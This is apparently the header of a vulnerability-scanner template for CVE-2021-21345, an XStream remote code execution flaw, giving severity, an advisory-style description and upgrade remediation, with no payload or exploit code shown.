id: CVE-2021-21345

info:
  name: XStream <1.4.16  - Remote Code Execution
  author: pwnhxl,vicrack
  severity: critical
  description: |
    XStream before 1.4.16 is susceptible to remote code execution. An attacker who has sufficient rights can execute host commands via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  remediation: Install at least 1.4.16 if you rely on XStream's default blacklist of the Security Framework.
